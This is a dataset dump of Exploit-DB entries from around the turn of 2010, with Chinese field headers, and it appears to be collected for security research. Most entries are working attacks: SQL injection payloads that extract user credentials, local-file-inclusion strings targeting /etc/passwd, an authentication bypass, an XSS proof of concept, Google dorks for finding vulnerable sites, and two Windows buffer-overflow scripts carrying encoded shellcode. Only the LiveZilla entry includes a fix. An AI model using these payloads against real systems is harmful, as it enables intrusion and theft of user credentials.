QLWD/code_shield huggingface dataset:
标题: Joomla! Component com_bfsurvey - Local File Inclusion EDB-ID: 10946 CVE: 2010-2259 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-03 漏洞利用脚本: @~~=======================================~~@
@~~=Script   : Joomla Component com_bfsurvey

@~~=Author   : FL0RiX

@~~=HomePage: www.oltan.org

@~~=Greez  : Deep-Power ,Pyske,Wretch-x & All Friends

@~~=Bug Type : Local File Inlusion(LFI)

@~~=Dork : inurl:"com_bfsurvey"

@~~=======================================~~@

@~~=Vuln

: http://site/ [Yol] /index.php?option=com_bfsurvey&controller= [-LFI-] URL: https://www.exploit-db.com/exploits/10946
标题: Joomla! Component com_hotbrackets - Blind SQL Injection EDB-ID: 10953 CVE: 2010-0945 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-03 漏洞利用脚本: <------------------- header data start ------------------- >

#############################################################
#       Joomla Component com_hotbrackets Blind SQL injection Vulnerability
#############################################################

# author        : Fl0riX

# Name           : com_hotbrackets

# Bug Type       : Blind SQL Injection

# Infection      : Admin login bilgileri al&#305;nabilir.

# Demo Vuln.     :
TRUE(+)
» http://server/index.php?option=com_hotbrackets&id=1 and 1=1
FALSE(-)
» http://server/index.php?option=com_hotbrackets&id=1 and 1=0

# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_hotbrackets&id=[Blind]

< -- bug code end of -- > URL: https://www.exploit-db.com/exploits/10953
标题: Joomla! Component Bridge of Hope Template - SQL Injection EDB-ID: 10964 CVE: 2010-2254 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-03 漏洞利用脚本: [?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: bridgeofhope suffer from REMOTe sql injection
[~] Vendor: www.shape5.com
[?] Software: joomla
[-]
[?] author: ((R3d-D3v!L))
[?] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY
[?] contact: N/A
[-]
[?] Date: 3.Jan.2010
[?] T!ME: 03:55 am GMT
[?] Home: WwW.xP10.ME
[?]
[?]
[-]??????????????????????{DEV!L'5 of SYST3M}??????????????????


[*] Err0r C0N50L3:


http://server/bridgeofhope/index.php?view=article&catid=14:recent&id= {EV!L EXPLO!T}

[~] {EV!L EXPLO!T}:

N/A AT TH!S T!ME



N073:

REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !




[~]-----------------------------{((Angela Bennett))}---------------------------------------


[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--JUPA-aNd-Devil ro0t : Goo Goo Cs Tiroo

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10964
标题: Joomla! Component com_tpjobs - Blind SQL Injection EDB-ID: 10950 CVE: 2010-0981 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-03 漏洞利用脚本: <------------------- header data start ------------------- >

#####################################################################
#Joomla Component com_tpjobs Blind SQL injection Vulnerability
#####################################################################

# author        : FL0RiX

# Name           : com_tpjobs

# Bug Type       : (Blind) SQL Injection

# Infection      : Admin login bilgileri al&#305;nabilir.

# Demo Vuln.     :
TRUE(+)
» http://server/index.php?option=com_tpjobs&task=resadvsearch&keyword=&id_c[]=1 and 1=1
FALSE(-)
» http://server/index.php?option=com_tpjobs&task=resadvsearch&keyword=&id_c[]=1 and 1=0

# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_tpjobs&task=resadvsearch&keyword=&id_c[]=[SQL INJ.]

< -- bug code end of -- > URL: https://www.exploit-db.com/exploits/10950
标题: Joomla! Component com_abbrev - Local File Inclusion EDB-ID: 10948 CVE: 2010-0985 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-03 漏洞利用脚本: <------------------- header data start ------------------- >

[++] Joomla Component com_abbrev Local File Inclusion Vulnerability


[++] author        : FL0RiX

[++] Name           : com_abbrev

[++] Bug Type       : Local File Inclusion

[++] Demo Vuln.     :


[++] http://server/index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00

[++] Note           : LFI/RFI Uzman&#305; Zannedenler Localda Aramazlar :)

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_abbrev&controller=[-LFI-]

< -- bug code end of -- > URL: https://www.exploit-db.com/exploits/10948
标题: Joomla! Component com_cartweberp - Local File Inclusion EDB-ID: 10942 CVE: 2010-0982 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-03 漏洞利用脚本: @~~=======================================~~@
@~~=Script   : Joomla Component com_cartweberp

@~~=Author   : FL0RiX

@~~=Greez : Deep-Power ,KaCaK,Wretch-x & All Friends

@~~=Bug Type : Local File Inlusion(LFI)

@~~=Dork : inurl:"com_cartweberp"

@~~=======================================~~@

@~~=Vuln

:http://server/ [Yol] /index.php?option=com_cartweberp&controller=[-LFI-]


< ---- Note ---- >
F....N;
Sen çok üstün zekaya sahip birisin,
emin olabilirsin, :)
Sql injection ile domain hackleyebilen tek lamersin, :)
ASP'de Rfi Bulmakta Birebirsin,
Ama Gördügüm En hIyar Lamersin :D
Bu Kafiyelerde Bi TarafIna Girsin ;)
Lol F....N :)
< ---- Note Finished ---- > URL: https://www.exploit-db.com/exploits/10942
标题: Joomla! Component com_biblestudy - Local File Inclusion EDB-ID: 10943 CVE: 2010-0157 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-03 漏洞利用脚本: @~~=======================================~~@
@~~=Script   : Joomla Component com_biblestudy

@~~=Author   : FL0RiX

@~~=Greez : Deep-Power ,Pyske,Wretch-x & All Friends

@~~=Bug Type : Local File Inlusion

@~~=Dork : inurl:"com_biblestudy"

@~~=======================================~~@

@~~=Vuln

: http://server/ [Yol] /index.php?option=com_biblestudy&id=1&view=studieslist&controller= [-LFI-] URL: https://www.exploit-db.com/exploits/10943
标题: Left 4 Dead Stats 1.1 - SQL Injection EDB-ID: 10930 CVE: 2010-0980 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-02 漏洞利用脚本: ----------------------------------
> Left 4 Dead Stats SQL Injection Vulnerability
> Author: Sora
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/
> Google Dork: "In your dreams, script kiddies."

# VULNERABILITY DESCRIPTION:
Left 4 Dead Stats suffers from a remote SQL injection vulnerability in player.php.

# VULNERABILITY SOLUTION:
The owner of the website can sanitize the database inputs.

# Proof of Concept: http://www.site.com/l4dstats/player.php?steamid='
# Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, Revelation, and Max Mafiotu. URL: https://www.exploit-db.com/exploits/10930
标题: Joomla! Component com_bfsurvey_basic - SQL Injection EDB-ID: 10944 CVE: 2010-2255 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-03 漏洞利用脚本: [+] Joomla Component com_bfsurvey_basic SQL Injection Vulnerability

[+] Author: FL0RiX

[+] Greez  : Wretch-x And All Friends

[+] HomePage : http://oltan.org


############################################################################################################################

[+] Exploit;

     [+] null/**/and/**/1=0/**/union/**/select/**/concat(username,0x3a,password)fl0rix,user(),user()/**/from/**/jos_users--


############################################################################################################################
< ---- Note ---- >
F....N;
Sen çok üstün zekaya sahip birisin,
emin olabilirsin, :)
Sql injection ile domain hackleyebilen tek lamersin, :)
ASP'de Rfi Bulmakta Birebirsin,
Ama Gördügüm En hIyar Lamersin :D
Bu Kafiyelerde Bi TarafIna Girsin ;)
Lol F....N :)
< ---- Note Finished ---- > URL: https://www.exploit-db.com/exploits/10944
标题: e-topbiz Slide Popups 1 PHP - Authentication Bypass EDB-ID: 10832 CVE: 2008-6264 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-30 漏洞利用脚本: e-topbiz Slide Popups 1 php (Auth Bypass) SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com<http://www.IQ-TY.com>

MaiL : darkangeL_G85@Yahoo.CoM
___________________________________

script    : http://e-topbiz.com/oprema/pages/slidepop1.php

_____

ExploiT
_______

admin ' or ' 1=1

# login....


IQ-SecuritY FoRuM URL: https://www.exploit-db.com/exploits/10832
标题: UranyumSoft Ýlan Servisi - Database Disclosure EDB-ID: 10823 CVE: 2009-4585 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-30 漏洞利用脚本: ==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [»] ~ Note : Mutlu Yillar Millettt

==============================================================================  

        [»]UranyumSoft Ýlan Servisi Database Disclosure Vulnerability  

==============================================================================  

   

    [»] Script:             [ UranyumSoft Ýlan Servisi  ]  

    [»] Language:           [ ASP ]  

    [»] Download:           [ http://aspindir.com/Goster/5420] 

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com }

    [»] My Home:            [ RevengeHack.com ]  

    [»]N0T3    :             Yeni Aciklarimi Bekleyin.


###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [»] http://server/[dizin]/database/db.mdb

 


  [»] Copyright 2008 UranyumSoft.com | Tüm haklarý saklýdýr.

  [»]   Admin Page: /yetki.asp




Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZveng

                 

- Ben Ne Heykirlar Gordum  site heyklicek exploiti yok.Ben Ne exploitler gordum kullancak heykir yok :D

                                 


########################################################################### URL: https://www.exploit-db.com/exploits/10823
标题: DJ Studio Pro 5.1.6.5.2 - Local Overflow (SEH) EDB-ID: 10827 CVE: 2009-4656 类型: LOCAL 平台: WINDOWS 发布日期: 2009-12-30 漏洞利用脚本: #!/usr/bin/ruby
# Exploit Title : DJ Studio Pro 5.1.6.5.2 SEH Exploit
# Date          : 2009-12-30
# Author        : Sébastien Duquette - ekse.0x@gmail.com
# Software Link : http://www.e-soft.co.uk/
# Version       : 5.1.6.5.2
# Tested on     : Windows XP SP2 En
# OSVDB ID      : 58159
# Overflow originally discovered by prodigy

# exec calc.exe
payload = 
"\xda\xdc\xd9\x74\x24\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x49\x6c\x48\x68\x4b\x39\x45\x50\x43\x30\x45" +
"\x50\x43\x50\x4d\x59\x48\x65\x46\x51\x4a\x72\x43\x54\x4e" +
"\x6b\x51\x42\x46\x50\x4c\x4b\x50\x52\x44\x4c\x4c\x4b\x51" +
"\x42\x47\x64\x4e\x6b\x44\x32\x51\x38\x46\x6f\x4f\x47\x42" +
"\x6a\x45\x76\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x47" +
"\x4c\x45\x31\x51\x6c\x47\x72\x44\x6c\x51\x30\x4a\x61\x48" +
"\x4f\x44\x4d\x47\x71\x48\x47\x49\x72\x4a\x50\x43\x62\x43" +
"\x67\x4e\x6b\x51\x42\x46\x70\x4c\x4b\x51\x52\x45\x6c\x45" +
"\x51\x48\x50\x4c\x4b\x51\x50\x44\x38\x4c\x45\x4f\x30\x44" +
"\x34\x43\x7a\x46\x61\x48\x50\x46\x30\x4c\x4b\x47\x38\x45" +
"\x48\x4e\x6b\x51\x48\x45\x70\x46\x61\x48\x53\x4d\x33\x47" +
"\x4c\x47\x39\x4e\x6b\x47\x44\x4c\x4b\x46\x61\x4b\x66\x44" +
"\x71\x4b\x4f\x45\x61\x4b\x70\x4e\x4c\x4a\x61\x4a\x6f\x46" +
"\x6d\x45\x51\x4f\x37\x44\x78\x4b\x50\x44\x35\x48\x74\x45" +
"\x53\x43\x4d\x4a\x58\x47\x4b\x51\x6d\x47\x54\x51\x65\x49" +
"\x72\x51\x48\x4c\x4b\x46\x38\x51\x34\x47\x71\x48\x53\x51" +
"\x76\x4c\x4b\x46\x6c\x50\x4b\x4c\x4b\x43\x68\x45\x4c\x43" +
"\x31\x4a\x73\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x4e\x30\x4d" +
"\x59\x43\x74\x45\x74\x44\x64\x51\x4b\x43\x6b\x51\x71\x51" +
"\x49\x42\x7a\x46\x31\x49\x6f\x4b\x50\x42\x78\x43\x6f\x51" +
"\x4a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x51\x4d\x51\x7a\x46" +
"\x61\x4c\x4d\x4b\x35\x48\x39\x47\x70\x45\x50\x45\x50\x42" +
"\x70\x45\x38\x46\x51\x4c\x4b\x50\x6f\x4b\x37\x49\x6f\x49" +
"\x45\x4f\x4b\x48\x70\x4c\x75\x4e\x42\x50\x56\x51\x78\x4f" +
"\x56\x4f\x65\x4d\x6d\x4f\x6d\x49\x6f\x4b\x65\x47\x4c\x44" +
"\x46\x43\x4c\x46\x6a\x4f\x70\x49\x6b\x49\x70\x51\x65\x47" +
"\x75\x4d\x6b\x43\x77\x45\x43\x50\x72\x50\x6f\x42\x4a\x47" +
"\x70\x50\x53\x4b\x4f\x48\x55\x43\x53\x43\x51\x50\x6c\x42" +
"\x43\x44\x6e\x43\x55\x44\x38\x45\x35\x45\x50\x44\x4a\x41" +
"\x41"

pattern = File.open('pattern_5000.txt', 'r').read

f = File.open('boom.pls', 'w')
f.print 'A' * 1308
f.print "\xeb\x06\x90\x90"
f.print "\x2d\xc6\x4f\01"   # pop-pop-ret @ 0x014FC62D [djstudiopro.exe]
f.print payload
f.print 'A' * 10000

f.close URL: https://www.exploit-db.com/exploits/10827
标题: LiveZilla 3.1.8.3 - Cross-Site Scripting EDB-ID: 10806 CVE: 2009-4450 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-30 漏洞利用脚本: Info:
LiveZilla, the Next Generation Live Help / Live Chat and Live
Support System connects you to your website visitors. Use
LiveZilla to provide Live Chats and monitor your website visitors
in real-time. Convert visitors to customers - with LiveZilla!

Credits: InterN0T

External Links:
http://www.livezilla.net/


-:: The Advisory ::-
The following files would together be vulnerable to Cross Site Scripting.

1. livezilla/templates/map.tpl (lines 18-20)
var default_lat = <!--dlat-->;
var default_lng = <!--dlng-->;
var default_zom = <!--dzom-->;

2. livezilla/map.php (lines 15-28)
if(isset($_GET["lat"]))
$map = str_replace("<!--dlat-->",$_GET["lat"],$map);
else
$map = str_replace("<!--dlat-->","25",$map);

if(isset($_GET["lng"]))
$map = str_replace("<!--dlng-->",$_GET["lng"],$map);
else
$map = str_replace("<!--dlng-->","10",$map);

if(isset($_GET["zom"]))
$map = str_replace("<!--dzom-->",$_GET["zom"],$map);
else
$map = str_replace("<!--dzom-->","1",$map);


Proof of Concept: (</script>)
http://localhost/livezilla/map.php?lat=%3C/script%3E%3Cscript%3Ealert(%22InterN0T.net%22)%3C/script%3E

Pseudo Proof of Concept:
- Javascript functions could also have been executed inside the javascript where the vulnerable code is.


-:: Solution ::-
The following patch was supplied to the vendor:

1. livezilla/templates/map.tpl (lines 18-20)
var default_lat = "<!--dlat-->";
var default_lng = "<!--dlng-->";
var default_zom = "<!--dzom-->";

2. livezilla/map.php (lines 15-28)
if(isset($_GET["lat"]))
$map = str_replace("<!--dlat-->",htmlentities($_GET["lat"]),$map);
else
$map = str_replace("<!--dlat-->","25",$map);

if(isset($_GET["lng"]))
$map = str_replace("<!--dlng-->",htmlentities($_GET["lng"]),$map);
else
$map = str_replace("<!--dlng-->","10",$map);

if(isset($_GET["zom"]))
$map = str_replace("<!--dzom-->",htmlentities($_GET["zom"]),$map);
else
$map = str_replace("<!--dzom-->","1",$map);
We used htmlentities() since we thought that would be the best
solution. The other functions named htmlspecialchars(), urlencode()
and raw_urlencode() could have been an alternative to the above.

Reference:
http://forum.intern0t.net/intern0t-advisories/1998-intern0t-livezilla-cross-site-scripting-vulnerability.html

Disclosure Information:
- Vulnerability found 27th December
- Patch was made available 27th December
- Disclosed on InterN0T 27th December
- Vendor and Buqtraq (SecurityFocus) contacted the 27th December


All of the best,
MaXe URL: https://www.exploit-db.com/exploits/10806
标题: I-Escorts Directory - 'country_escorts.php?country_id' SQL Injection EDB-ID: 10809 CVE: 2009-4574 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-30 漏洞利用脚本: [?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Vendor: www.i-escorts.co.uk
[*] TEAM:ArAB!AN !NFORMAT!ON SeCuR!TY
[?] Home: WwW.xP10.ME
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????

[*] Err0r C0N50L3:
http://server/escorts-directory/country_escorts.php?country_id=(SQL)

[~] (SQL):

escorts-directory/country_escorts.php?country_id=-1+union+select+@@version

[*] MASS TABLE5:

escortcms_admin:admin_password:
doc_user:user_password
forums_forums:password
forums_users:password
letter_admin:password
letter_member:password
ost_email:userpass
ost_staff:passwd
directory_admin:admin_password
directory_admin:authorize_merchantpass

N073:

! 7h!/\/k u can f!nd m0r3
just let your m1nd breath ;)


[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]-------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10809
标题: XOOPS Module dictionary 2.0.18 - 'detail.php' SQL Injection EDB-ID: 10807 CVE: 2009-4582 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-30 漏洞利用脚本: ##########################################
#
#  XOOPS Module dictionary 2.0.18 (detail.php) SQL Injection Vulnerability
#
#  XOOPS Version:  XOOPS 2.0.18 
#
#  http://www.xoops.org/modules/repository/
#
##########################################
#
# AUTHOR : Palyo34
#
# HOME : http://www.1923turk.biz
#
#
###########################################
#
# DORK  : allinurl: "modules/dictionary/detail.php?id"
#
###########################################
#   
#   EXPLOIT :
#
#     modules/dictionary/detail.php?id=-885+union+select+1,2,3,concat_ws(0x3a,uid,uname,pass,email),5,6+from+xoops_users--
#
############################################## URL: https://www.exploit-db.com/exploits/10807
标题: RoseOnlineCMS 3 B1 - 'admin' Local File Inclusion EDB-ID: 10793 CVE: 2009-4581 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-30 漏洞利用脚本: \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   | RoseOnlineCMS <= 3 B1 (admin) Local File Inclusion |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Download: http://sourceforge.net/projects/rosecms/files/
[!] Date: 30.12.2009
[!] Remote: yes

[!] Code :

<?PHP 
if (isset($_GET['write'])) {
 $argv = explode('-',$_GET['write']);
 settype($argv,'array'); 
 $_GET['admin'] = @$argv[0];
 $_GET['url'] = @$argv[1];
 $_GET['do'] = @$argv[2];
 $_GET['key'] = @$argv[3];
}
$admin = !isset($_GET['admin']) ? index : $_GET['admin'] ;

   if (is_file("modules/admin/".$admin.".php")) {
     include("modules/admin/".$admin.".php");
 
   } else { 
  echo('Administrator page not found.
     <br><br> <a href=index.php>Click here to go back home</a>'); 
   }

ob_end_flush();
?>

[!] PoC:

    [RoseOnlineCMS_path]/modules/admincp.php?admin=[LFI%00] URL: https://www.exploit-db.com/exploits/10793
标题: Mini-stream Ripper 3.0.1.1 - '.pls' Universal Buffer Overflow EDB-ID: 10782 CVE: 2009-5109 类型: LOCAL 平台: WINDOWS 发布日期: 2009-12-29 漏洞利用脚本: #Mini-Stream Ripper v3.0.1.1 Universal BOF !!!
#Discovered by ( mr_me) !!!
#Coded and Written by (Jacky)
#Greetz to Peter Van Eeckhoutte and all Corelanc0d3r team :D
#This time i exploited the program and i used as RET address a Universal one from MSRcodec00.dll
#And i haven't seen anyone using a universal address so i decided to do so ! ;-)
my $file="crash.pls";
print "Mini-Stream Ripper 3.0.1.1 Universal BOF vulnerability\n";
print "Greetz to Peter Van Eeckhoutte and Corelanc0d3r Team\n";
my $junk="A"x26074;
my $eip=pack('V',0x0146b87b);  #>>>From MSRcodec001.dll (Universal address ;-) )
my $presc="SEXY";         # 4 Bytes to fill the pre-esp area !
my $esp="\x90"x25;
$esp=$esp."\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x57".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38".
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x58".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c".
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x34".
"\x4b\x48\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x48\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a".
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b".
"\x42\x50\x42\x30\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x43".
"\x48\x4f\x42\x46\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x30\x5a";

open(HOLA,">$file");
print HOLA $junk.$eip.$presc.$esp;
print "[+] Done!!!\n";
print "Written By Jacky\n";
close(HOLA); URL: https://www.exploit-db.com/exploits/10782
标题: Dream4 Koobi Pro 6.1 Gallery - 'img_id' SQL Injection EDB-ID: 10751 CVE: 2008-6210 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-27 漏洞利用脚本: ##########################################
#
# Koobi Pro v6.1 gallery (img_id)
#

##########################################
#
##AUTHOR : BILGE_KAGAN
#
####HOME : http://www.1923turk.biz
#
###########################################
#
# DORK 1 : allinurl: "index.php?p=gallerypic img_id"

###########################################
EXPLOiT:

index.php?p=gallerypic&img_id=-1+union+select+0,1,2,concat(email,0x3a,pass),4,5,6,7,8+from+kpro6_user


aDM&#65533;N PANEL&#65533;:

admin/login.php URL: https://www.exploit-db.com/exploits/10751
标题: Joomla! Component com_if_nexus - Remote File Inclusion EDB-ID: 10754 CVE: 2009-4679 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-12-28 漏洞利用脚本: \\\|///
\\ - - //
( @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author : Fl0riX
@~~=Greez : Deep-Power ,Pyske & All Friends
---------------Ooooo-------------------------
( )
ooooO ) /
( ) (_/
\ (
\_)
@~~=======================================~~@
@~~=Script :Joomla Component com_if_nexus
@~~=======================================~~@
@~~=Vuln

: http://site/ [Yol] /index.php?option=com_if_nexus&controller=[-LFI-]


/ ___ \ \ \ \ \ /\ / /
/ / \/ \ \ / \ \ / /
| | \ \/ / \ \/ /
| \ __ \ / \ /
\ \__/ / \ / \ /
\_____/ \/ \/ URL: https://www.exploit-db.com/exploits/10754